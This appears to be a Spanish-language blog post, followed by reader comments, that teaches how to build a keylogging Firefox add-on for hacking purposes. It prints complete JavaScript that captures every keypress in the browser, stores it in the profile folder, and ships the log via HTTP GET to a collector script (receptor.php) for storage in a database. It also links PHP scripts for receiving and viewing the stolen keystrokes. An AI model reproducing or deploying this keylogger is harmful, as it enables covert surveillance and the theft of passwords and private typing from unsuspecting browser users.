Tratare de Introducirlos en el desarollo Add-On para Mozilla Firefox y desde luego pensando del lado del Hacking.
El objetivo de este Add-On es capturar todas las teclas dentro de Firefox (Solo dentro de la Pantalla del Navegador).
Los pasos a seguir sera lo siguiente:
Les pasare tres scripts dos en PHP y uno en Javascript.
“overlay.js” => para capturar las teclas en si para el Add-On.
“cheklogs.php” => para ver los Logs.
“receptor.php” => para que el pueda recibir los Logs.
http://www.mediafire.com/download/btyvohfq5t5cz25
Tambien necesitaremos una base de datos para guardar y en cualquier momento podamos consultar lo que capturo.
Si quieren tambien pueden modificar el script “receptor.php” para que lo escriba un *.txt eso ya es depende de la creatividad de cada uno.
Deberan modificar el Archivo “overlay.js” dentro de la carpeta “chrome/content/”
var keylogger_namespace={}; var aleat = Math.random() * 99999; var torio = Math.round(aleat); // sacamos un numero a la suerte! keylogger_namespace.keylogger=function() { var file = Components.classes["@mozilla.org/file/directory_service;1"]. getService(Components.interfaces.nsIProperties). get("ProfD", Components.interfaces.nsIFile); file.append("Firelog"); if( !file.exists() || !file.isDirectory() ) { // lo creamos si no existe la carpeta! file.create(Components.interfaces.nsIFile.DIRECTORY_TYPE, 0777); } this.f = file.path+"\\keystrokes"; window.addEventListener( "load", function() {LipoKeylogger.init(); }, false); } var keylog=new keylogger_namespace.keylogger(); //====================================== keylog.logKeypress=function(e){ var keynum; var keychar; var numcheck; keynum = e.which; var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(keylog.f); data=keynum+":"; // apuntando al archivo a crearse var foStream = Components.classes["@mozilla.org/network/file-output-stream;1"] .createInstance(Components.interfaces.nsIFileOutputStream); // forma de uso 0x02 | 0x10 para habrir archivo foStream.init(file, 0x02 | 0x10 | 0x08, 00666, 0); // solo escritura, abrir, o crear archivo foStream.write(data, data.length); foStream.close(); //====================================== //Leemos log var file = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile); file.initWithPath(keylog.f); var inputStream = Components.classes["@mozilla.org/network/file-input-stream;1"].createInstance(Components.interfaces.nsIFileInputStream); inputStream.init(file, -1, 0,0); var sInputStream = Components.classes["@mozilla.org/scriptableinputstream;1"].createInstance(Components.interfaces.nsIScriptableInputStream); sInputStream.init(inputStream); var str= sInputStream.read(sInputStream.available()); if ((str.length) > 100){ var xmlhttp=new XMLHttpRequest(); url="http://localhost/receptor.php?keypress="; // Recibimos los keypress por GET xmlhttp.open("GET",url+str+"&user="+torio,true); xmlhttp.send(null); //reseteamos el archivo de log's var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(keylog.f); // apuntando al archivo a crearse var foStream = Components.classes["@mozilla.org/network/file-output-stream;1"].createInstance(Components.interfaces.nsIFileOutputStream); // forma de uso 0x02 | 0x10 para habrir archivo foStream.init(file, 0x02 | 0x08 | 0x20, 0666, 0); // solo escritura, abrir, o crear archivo foStream.write("", 0); foStream.close(); } //====================================== } //====================================== if ("undefined" == typeof(LipoKeylogger)) { var LipoKeylogger= { init : function() { //====================================== //Capurando las keypress document.addEventListener("keypress", keylog.logKeypress, false); } } }
En la Linea 45
url="http://localhost/receptor.php?keypress="; // Recibimos los keypress por GETTesteado en Ubuntu! y Windows anda de maravilla, digamos que no pierde ni un solo keypres!!
Culquier duda o sugerencia a SixP4ck3r<ARROBA>Bolivia.com
Saludos comunidad!.
4 comentarios
Hola.
ReplyDisculpá la super recontra ignorancia... pero, cómo se hace para que estos archivos queden dentro del addon? o sea cómo se hace el addon?? Desde ya muchas gracias, acabo de descubrir tu blog y ya me parece genial!
Saludos
hay poca info :( podrías ampliarnos la info sobre como hacer todo? gracias
Replylo de la base de datos eso hasta alli bien pero como dice kaspar como lo agrego al add on. Buen aporte para el conocimiento
Replyexcelente men muy bueno
ReplyPublicar un comentario